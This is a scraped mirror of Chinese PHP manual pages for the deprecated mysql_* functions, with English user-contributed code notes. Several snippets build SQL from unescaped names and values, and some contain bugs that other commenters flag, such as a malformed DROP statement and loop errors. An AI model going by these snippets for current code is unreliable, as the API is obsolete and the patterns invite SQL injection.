}

... you won't see any fields.  If you need to use mysql_fetch_field, you need to do it before you've iterated through all the rows in the result set.
kflam at awc dot net dot au
19-Jun-2002 11:56
#Input: the table name and the enum field
#Output: an array that stores all options of the enum field or
#false if the input field is not an enum
function getEnumOptions($table, $field) {
   $finalResult = array();

   if (strlen(trim($table)) < 1) return false;
   $query  = "show columns from $table";
   $result = mysql_query($query);
   while ($row = mysql_fetch_array($result)){
       if ($field != $row["Field"]) continue;
       //check if enum type
       if (ereg('enum.(.*).', $row['Type'], $match)) {
           $opts = explode(',', $match[1]);
           foreach ($opts as $item)
               $finalResult[] = substr($item, 1, strlen($item)-2);
       }
       else
               return false;
   }
   return $finalResult;
}

The function could be handy when making a selection option without typing all the options items respectively.
chrisshaffer at bellsouth dot net
07-Jun-2002 02:22
Slight error in the above comment:
$fieldLen = split("','",substr(1,-1,$fieldLen));

should read:
$fieldLen = split("','",substr($fieldLen,1,-1));

oops! ;)

I did take the above code (which saved me at least two hours worth of work), and massaged it into a function:

function mysql_enum_values($tableName,$fieldName)
{
  $result = mysql_query("DESCRIBE $tableName");

  //then loop:
  while($row = mysql_fetch_array($result))
  {
   //# row is mysql type, in format "int(11) unsigned zerofill"
   //# or "enum('cheese','salmon')" etc.

   ereg('^([^ (]+)(\((.+)\))?([ ](.+))?$',$row['Type'],$fieldTypeSplit);
   //# split type up into array
   $ret_fieldName = $row['Field'];
   $fieldType = $fieldTypeSplit[1];// eg 'int' for integer.
   $fieldFlags = $fieldTypeSplit[5]; // eg 'binary' or 'unsigned zerofill'.
   $fieldLen = $fieldTypeSplit[3]; // eg 11, or 'cheese','salmon' for enum.

   if (($fieldType=='enum' || $fieldType=='set') && ($ret_fieldName==$fieldName) )
   {
     $fieldOptions = split("','",substr($fieldLen,1,-1));
     return $fieldOptions;
   }
  }

  //if the funciton makes it this far, then it either
  //did not find an enum/set field type, or it
  //failed to find the the fieldname, so exit FALSE!
  return FALSE;

}

The most useful thing that I can think to do with this is to populate a HTML Dropdown box with it:

echo "<SELECT NAME=\"Select\" SIZE='1'>";
foreach($fieldOptions as $tmp)
{
  echo "<OPTION>$tmp";
}

Hope this helps  :D
justin at quadmyre dot com
19-Apr-2002 08:00
Same problem, slightly different solution.

$result = mysql_query("DESCRIBE tablename");
# or SHOW COLUMNS FROM
# or SHOW FIELDS FROM

then loop:

$row = mysql_fetch_array($result);
# row is mysql type, in format "int(11) unsigned zerofill"
# or "enum('cheese','salmon')" etc.

ereg('^([^ (]+)(\((.+)\))?([ ](.+))?$',$row['Type'],$fieldTypeSplit);
# split type up into array

$fieldType = $fieldTypeSplit[1]; # eg 'int' for integer.
$fieldFlags = $fieldTypeSplit[5]; # eg 'binary' or 'unsigned zerofill'.
$fieldLen = $fieldTypeSplit[3]; # eg 11, or 'cheese','salmon' for enum.

You might then like to:

if ($fieldType=='enum' or $fieldType=='set')
  $fieldLen = split("','",substr(1,-1,$fieldLen));

So for enum or set types, $fieldLen becomes an array of possible values.

Hope that helps someone out there...
php at brayra dot com
22-Mar-2002 08:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
   $columns = mysql_query('show columns from ' . $table);
   if($columns){
     $num = mysql_num_fields($fields);
     for($i=0; $i < $num; ++$i){
       $column = mysql_fetch_array($columns);
       $field = mysql_fetch_field($fields, $i);
       $flags = mysql_field_flags($fields, $i);
       if($flags == '') $flags=array();
       else $flags = explode(' ',$flags);
       if (ereg('enum.(.*).',$column['Type'],$match))
         $field->values = explode(',',$match[1]);
       if (ereg('set.(.*).',$column['Type'],$match))
         $field->values = explode(',',$match[1]);
       if(!$field->values) $field->values = array();
       $field->flags = $flags;
       $field->len = mysql_field_len($fields, $i);
       $result_fields[$field->name] = $field;
       $result_fields[$i] = $field;
     }
     mysql_free_result($columns);
   }
   mysql_free_result($fields);
   return $result_fields;
  }
  return false;
}

hope someone else finds this useful.
krang at krang dot org dot uk
10-Mar-2002 10:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
   or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
dave at techweavers dot net
04-Oct-2000 04:48
If you want to get the max length of a column not just the data use this:
$result = mysql_query ("SELECT * FROM table");
$fields = mysql_num_fields ($result);
$i = 0;
while ($i < $fields) {
$len  = mysql_field_len  ($result, $i);
$i++;
}
Or refer to http://www.php.net/manual/function.mysql-field-type.php
add a note add a note

后退 | 起点 | 前进
mysql_fetch_assoc | 上一级 | mysql_fetch_lengths


mysql_fetch_lengths

(PHP 3, PHP 4, PHP 5)

mysql_fetch_lengths -- 取得结果集中每个输出的长度

说明

array mysql_fetch_lengths ( resource result )

以数组返回上一次用 mysql_fetch_row() 取得的行中每个字段的长度，如果出错返回 FALSE。

mysql_fetch_lengths() 将上一次
mysql_fetch_row()，mysql_fetch_array()
和 mysql_fetch_object()
所返回的每个列的长度储存到一个数组中，偏移量从 0 开始。

参见 mysql_fetch_row()。

add a note add a note User Contributed Notes
10-Feb-2006 10:23
For the maximum length of a field (e.g. 10 for a VARCHAR(10) field), use mysql_field_len().
add a note add a note

后退 | 起点 | 前进
mysql_fetch_field | 上一级 | mysql_fetch_object


mysql_fetch_object

(PHP 3, PHP 4, PHP 5)

mysql_fetch_object -- 从结果集中取得一行作为对象

说明

object mysql_fetch_object ( resource result )

返回根据所取得的行生成的对象，如果没有更多行则返回 FALSE。

mysql_fetch_object() 和 mysql_fetch_array() 类似，只有一点区别 - 返回一个对象而不是数组。间接地也意味着只能通过字段名来访问数组，而不是偏移量（数字是合法的属性名）。

注: 本函数返回的字段名是区分大小写的。

<?php

/* this is valid */
echo $row->field;
/* this is invalid */
echo $row->0;

?>

速度上，本函数和 mysql_fetch_array() 一样，也几乎和 mysql_fetch_row() 一样快（差别很不明显）。

例子 1. mysql_fetch_object() 例子

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
mysql_free_result($result);
?>

参见 mysql_fetch_array()，mysql_fetch_assoc() 和 mysql_fetch_row()。

add a note add a note User Contributed Notes
trithaithus at tibiahumor dot net
22-Aug-2005 04:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^"]+\\":/i",
         "O:".strlen($class_type).":"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
   var $foo;
   var $bar;
   function get_from_db()
   {
       mysql_connect();
       mysql_select_db();
       $res = mysql_query("SELECT foo,bar from my_table");

       $fetched_object = mysql_fetch_object($res);
       ClassTypeCast($fetched_object,"Foo");
       $this = $fetched_object;
   }
}
?>
backglancer at hotmail
07-Aug-2005 06:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q
09-Jul-2004 10:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com
16-Oct-2003 05:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net
16-May-2003 09:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
   $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
   return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes
04-Mar-2003 02:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka
31-Jan-2003 07:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
   $query = "SELECT * FROM people ORDER BY lname";
   $result = mysql_query($query);

   while($member = mysql_fetch_object($result)){
       $members[] = $member;
   }

   return $members;
}
<br><br>
   DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com
17-Jan-2003 04:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net
19-Nov-2002 08:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
   $clickthru[$i] = array();
   $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net
15-Sep-2002 10:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.
amackenz at cs dot uml dot edu
15-Jan-2001 03:03
When selecting with a count/sum, the field must be named.

select count(*) from users;
becomes
select count(*) as total from users;

This way the result can be referenced as:
$row->total;
add a note add a note

后退 | 起点 | 前进
mysql_fetch_lengths | 上一级 | mysql_fetch_row


mysql_fetch_row

(PHP 3, PHP 4, PHP 5)

mysql_fetch_row -- 从结果集中取得一行作为枚举数组

说明

array mysql_fetch_row ( resource result )

返回根据所取得的行生成的数组，如果没有更多行则返回 FALSE。

mysql_fetch_row() 从和指定的结果标识关联的结果集中取得一行数据并作为数组返回。每个结果的列储存在一个数组的单元中，偏移量从 0 开始。

依次调用 mysql_fetch_row() 将返回结果集中的下一行，如果没有更多行则返回 FALSE。

注: 本函数返回的字段名是区分大小写的。

参见 mysql_fetch_array()，mysql_fetch_assoc()，mysql_fetch_object()，mysql_data_seek()，mysql_fetch_lengths() 和 mysql_result()。

add a note add a note User Contributed Notes
m dot s at programmers-online dot net
17-Nov-2005 05:56
The following function to read all data out of a mysql-resultset, is may be faster than Rafaels solution:

<?
function mysql_fetch_all($result) {
   while($row=mysql_fetch_array($result)) {
       $return[] = $row;
   }
   return $return;
}
?>
topera at gmail dot com
04-Aug-2005 09:02
If you want a function like pg_fetch_all(), you may use this...

<?
function mysql_fetch_all($result) {
   $i = 0;
   for ($i=0; $i<mysql_num_rows($result); $i++) {
       $return[$i] = mysql_fetch_array($result);
   }
   return $return;
}
?>

Rafael Pereira dos Santos
programmer at bardware dot de
08-Dec-2004 05:52
Hi,

I repeatedly saw samples where mysql_fetch_row(...) was called if the result of mysql_query(...) was !==false
According to my experiences mysql_fetch_row(...) shouldn too not be called if the result of mysql_query(...) ===true
That is when you call mysql_query(...) with something like "FLUSH QUERY CACHE" etc.
I wrote a script that allows me to monitor multiple MySQL-Servers. I simply select a bunch of queries (SHOW VARIABLES etc.) from a ListBox which are executed after another. I added "FLUSH QUERY CACHE" to the list of queries to execute and got
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource
When calling mysql_fetch_row(...) after the call to mysql_query("FLUSH QUERY CACHE") and only checking the result for boolean false.

Bernhard
girish dot sonawane at gmail dot com
12-Oct-2004 08:50
Here's a modified version of Jame's set_variables_after_query()
The modified version returns an array of hashes containing all the records...

function set_array_from_query($qry) {

   $arr = array();

   $selection = mysql_query($qry);
   if (!$selection) {
       die('Invalid query: ' . mysql_error());
   }

   if (mysql_num_rows($selection) > 0)
   {
       $x=0;
           // iterate through resultset
           while($row = mysql_fetch_row($selection))
           {
               foreach($row as $i => $value) {
                   $column = mysql_field_name($selection,$i);
                   $data["$column"] = $value;
                   $arr[$x] = $data;
               }
               $x++;

           }
     }

   return $arr;
}

//Examples
$array = set_array_from_query("select * from SomeTable");
25-Aug-2004 01:53
"Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string."

So is there a more efficient implementation for this:

<?php
$Fields = mysql_fetch_assoc($Result);
$Date = strtotime($Fields["date"]);
?>
wizzkidy at hotmail dot com
09-Mar-2004 02:05
Here's a little code snipped I used to make dynamic HTML even if the table changed its rows. Hope somebody can use it.

<?PHP
#Find all columns in the table

$sql_a = "select * FROM table_a";
$exc_a = mysql_query($sql_a) or die(mysql_error());
$fields = mysql_list_fields($DBname, $DBTableName);
$columns = mysql_num_fields($fields);

for ($i = 0; $i < $columns; $i++){
  $fieldnames[] = mysql_field_name($exc_a, $i);
}

#by referencing the values inserting it in the array

IF($rst_a = mysql_fetch_array($exc_a)){
  $num_fields = count($fieldnames);
  for ($ii = 0; $aantal_fields > $ii; $ii++){
   $fieldValues[$fieldnames[$ii]] = $rst_a[$fieldnames[$ii]];
  }
}
?>
$fieldValues[] = array of column names with their corresponding values, you can even make it multi dimensional by adding $fieldValues[$fieldnames[$ii]][] instead (so if youre wanting to have your complete database table in this array its possible :)
11-Sep-2003 01:22
<?php

function mysql_buffered_query($data_select, $data_connection)
{
  $sql_query = mysql_query($data_select, $data_connection);
  while($tmp = mysql_fetch_row($sql_query))
  {
   $info_elements[]=$tmp;
  }
  return $info_elements;
}

?>
mysql at polyzing dot com
13-Jul-2003 06:05
It is probably worth pointing out that the array elements will actually be of type string, OR NULL if the field is null in the database.

Thus, either use a double equal comparison to look for empty or null

Or, use a triple equal comparison to be able to distinguish the two cases

e.g.

if ($field === '') echo "Empty, not NULL\n";

if ($field === NULL) echo "NULL\n";

if ($field == '') echo "Empty or NULL\n";
dsluchin at ya hoo dot com
15-Jun-2003 12:44
In this code:

   while($sql_fetch_rows = mysql_fetch_row($sql_query)) {

     $info_offset  = 1;
     $info_columns  = 0;
     while ($info_offset <= $sql_num_fields) {

       $info_elements[$info_rows][$info_columns] = $sql_fetch_rows[$info_columns];
       $info_offset++; $info_columns++;
     }
     $info_rows++;
  }

You're making these harder on yourself than they need to be with the including of the $info_offset variable, which you're always making be ($info_columns + 1).  This is cleaner:

while($sql_fetch_rows = mysql_fetch_row($sql_query)) {
  $info_columns = 0;
  while ($info_columns < $sql_num_fields) {
   $info_elements[$info_rows][$info_columns] = sql_fetch_rows[$info_columns] ;
   $info_colunns++;
  }
  $info_rows++ ;
}
08-May-2003 07:10
Fetch Work Around

As a possible work around to the earlier problem, you could buffer the result of the query into a 2D array. This could be used to similar a table, to an extence and would allow you, to use the results of the query as often as you like in any custom function.

function mysql_buffered_query($data_select, $data_connection) {

   $sql_query      = mysql_query($data_select, $data_connection);
   $sql_num_fields = mysql_num_fields($sql_query);

   $info_rows = 0;

   while($sql_fetch_rows = mysql_fetch_row($sql_query)) {

       $info_offset  = 1;
     $info_columns  = 0;
     while ($info_offset <= $sql_num_fields) {

         $info_elements[$info_rows][$info_columns] = $sql_fetch_rows[$info_columns];
         $info_offset++; $info_columns++;
     }
     $info_rows++;
   }
   return $info_elements;
}

ACCESSED WITH
-------------------------------------------------

$sql_table  = "atable";
$sql_where  = 908;
$sql_select = "SELECT * FROM $sql_table WHERE field_id ='$sql_where'";

$myarray = mysql_buffered_query($sql_select, $sql_connection);

-------------------------------------------------

You can the use $myarray (or whatever u wanna call it) in any array pre-built or custom function.
michael and then an at sign wassupy.com
08-Apr-2003 03:09
to print an array, simply use print_r(array name)

like this:
   $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
james at unifiedmind dot com
16-Mar-2003 03:01
function set_variables_after_query($selection) {

  // set variables in the caller's environment from a database query
  // by James Thornton, http://jamesthornton.com

 $row = mysql_fetch_row($selection);

  foreach($row as $i => $value) {

   $column = mysql_field_name($selection,$i);
     $GLOBALS["$column"] = $value;

   }

}

// Example:
$selection = mysql_query($sql) or die(mysql_error());
set_variables_after_query($selection);
a at simongrant dot org
06-Feb-2002 09:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.
doubREDHATtme at hotmail dot comNODISTRO
06-Feb-2002 12:07
This took me a few minutes to suss out, so I thought I'd share it:

If your doing a select count(*) statement, the simplest syntax I have come up with to actually get access to the value is:

// stores the result in an array:
$count = mysql_fetch_array(mysql_query($query_string, $db));

// the actual count is stored in the first index (0):
print("row count: $count[0]");

NB I've ignored error checking here :)

Christo Fogelberg
jpaulo at fischer dot med dot br
16-Jun-2001 05:18
Here is a simple and very fast way I use to return results using the foreach construct:

$results = mysql_query($query);
$results_array = mysql_fetch_row($results);
foreach($results_array as $i => $data) {
print "<li>$i: $data";
}

If you don't need the element's key just use:
foreach ($results_array as $data) {
print $data;
}
Regards,
Joao Paulo M. Fischer
php dot net at sury dot cz
07-Jun-2001 02:40
You could also use this language construct with mysql_fetch_row:

while (list($first, $second) = mysql_fetch_row($resource)) {
[...]
}
doug at melonn dot com
13-May-2001 04:57
you can also use mysql_fetch_row() like this if you want to display inumerable results the same way:

#connect to the server and select db
mysql_connect("host","username","pass");
mysql_select_db("dbname");

#query the db
$query = "SELECT * FROM table";
$result = mysql_query($query)
or die(mysql_error());

#display results
while($i = mysql_fetch_row($result)) {
echo $i[0];
echo $i[1];
.....
}

and so forth...
add a note add a note

后退 | 起点 | 前进
mysql_fetch_object | 上一级 | mysql_field_flags


mysql_field_flags

(PHP 3, PHP 4, PHP 5)

mysql_field_flags -- 从结果中取得和指定字段关联的标志

说明

string mysql_field_flags ( resource result, int field_offset )

mysql_field_flags() 返回指定字段的字段标志。每个标志都用一个单词表示，之间用一个空格分开，因此可以用 explode() 将其分开。

如果 MySQL 版本足够新，则会支持以下的标志："not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment", "timestamp"。

为向下兼容仍然可以使用 mysql_fieldflags()，但反对这样做。

add a note add a note User Contributed Notes
bomas at cities-of-faith dot com
08-Sep-2005 04:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
   $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
   $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
   $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
   while($all = mysql_fetch_assoc($res)):
       $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
       $str = str_replace(",", ",&nbsp;", $str);
       $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
       $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
   endwhile;
   $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
   $data = mysql_query("SELECT * FROM $tabs[0]");
   while($dt = mysql_fetch_row($data)):
       $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
       for($i=1; $i<sizeof($dt); $i++):
           $backup .= ", '$dt[$i]'";
       endfor;
       $backup .= ");\n";
   endwhile;
   $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
pike-php at kw dot nl
15-Jul-2005 07:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

       $fields = array();
       $fullmatch        = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
       $charlistmatch    = "/,?'([^']*)'/";
       $numlistmatch    = "/,?(\d+)/";

       $fieldsquery .= "DESCRIBE $tablename";
       $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
       while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

           $name    = $row_fieldsquery['Field'];
           $fields[$name] = array();
           $fields[$name]["type"]        = "";
           $fields[$name]["args"]        = array();
           $fields[$name]["add"]          = "";
           $fields[$name]["null"]        = $row_fieldsquery['Null'];
           $fields[$name]["key"]        = $row_fieldsquery['Key'];
           $fields[$name]["default"]    = $row_fieldsquery['Default'];
           $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

           $fulltype    = $row_fieldsquery['Type'];
           $typeregs = array();

           if (preg_match($fullmatch, $fulltype, $typeregs)) {
               $fields[$name]["type"] = $typeregs[1];
               if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
               $fullargs = $typeregs[2];
               $argsreg = array();
               if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                   $fields[$name]["args"] = $argsreg[1];
               } else {
                   $argsreg = array();
                   if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                       $fields[$name]["args"] = $argsreg[1];
                   } else die("cant parse type args: $fullargs");
               }
           } else die("cant parse type: $fulltype");

       }
       return $fields;

   }

?>
buttrose at unimelb dot edu dot au
21-Oct-2004 10:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com
18-Aug-2003 01:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
   if ($row['Key_name']=='PRIMARY')
     array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com
10-Apr-2003 07:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
           $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
   print "<br>";
   print $array_tmp;
   print "<br>";
}
justin DOT flavin AT ntlworld DOT com
07-Dec-2002 02:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
   {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
   }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com
31-Oct-2002 04:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
   $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
   $sql_res = mysql_query($sql)
       or die("Could not query:\n$sql");
   $row = mysql_fetch_assoc($sql_res);
   mysql_free_result($sql_res);
   return(explode("','",
       preg_replace("/.*\('(.*)'\)/", "\\1",
           $row["Type"])));
}
cufarley at nirvanet dot net
11-Jul-2001 08:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com
11-Jun-2001 07:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)
add a note add a note

后退 | 起点 | 前进
mysql_fetch_row | 上一级 | mysql_field_len


mysql_field_len

(PHP 3, PHP 4, PHP 5)

mysql_field_len -- 返回指定字段的长度

说明

int mysql_field_len ( resource result, int field_offset )

mysql_field_len() 返回指定字段的长度。

为向下兼容仍然可以使用 mysql_fieldlen()，但反对这样做。

add a note add a note User Contributed Notes
adam_nospam_hunger at yahoo dot com
31-Oct-2003 09:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).
add a note add a note

后退 | 起点 | 前进
mysql_field_flags | 上一级 | mysql_field_name


mysql_field_name

(PHP 3, PHP 4, PHP 5)

mysql_field_name -- 取得结果中指定字段的字段名

说明

string mysql_field_name ( resource result, int field_index )

mysql_field_name() 返回指定字段索引的字段名。result 必须是一个合法的结果标识符，field_index 是该字段的数字偏移量。

注: field_index 从 0 开始。

例如，第三个字段的索引值其实是 2，第四个字段的索引值是 3，以此类推。

注: 本函数返回的字段名是区分大小写的。

例子 1. mysql_field_name() 例子

<?php
/* The users table consists of three fields:
*   user_id
*   username
*   password.
*/
$link = mysql_connect('localhost', "mysql_user", "mysql_password");
$dbname = "mydb";
mysql_select_db($dbname, $link)
    or die("Could not set $dbname: " . mysql_error());
$res = mysql_query("select * from users", $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

以上例子将产生如下输出：

user_id
password

为向下兼容仍然可以使用 mysql_fieldname()，但反对这样做。

add a note add a note User Contributed Notes
janezr at jcn dot si
19-Oct-2005 10:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com
05-Aug-2005 11:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
   $i=0;
   foreach ($line as $col_value) {
       $field=mysql_field_name($result,$i);
       $array[$field] = $col_value;
       $i++;
   }
}
jimharris at blueyonder dot co dot uk
20-Dec-2004 10:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com
17-Dec-2004 08:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
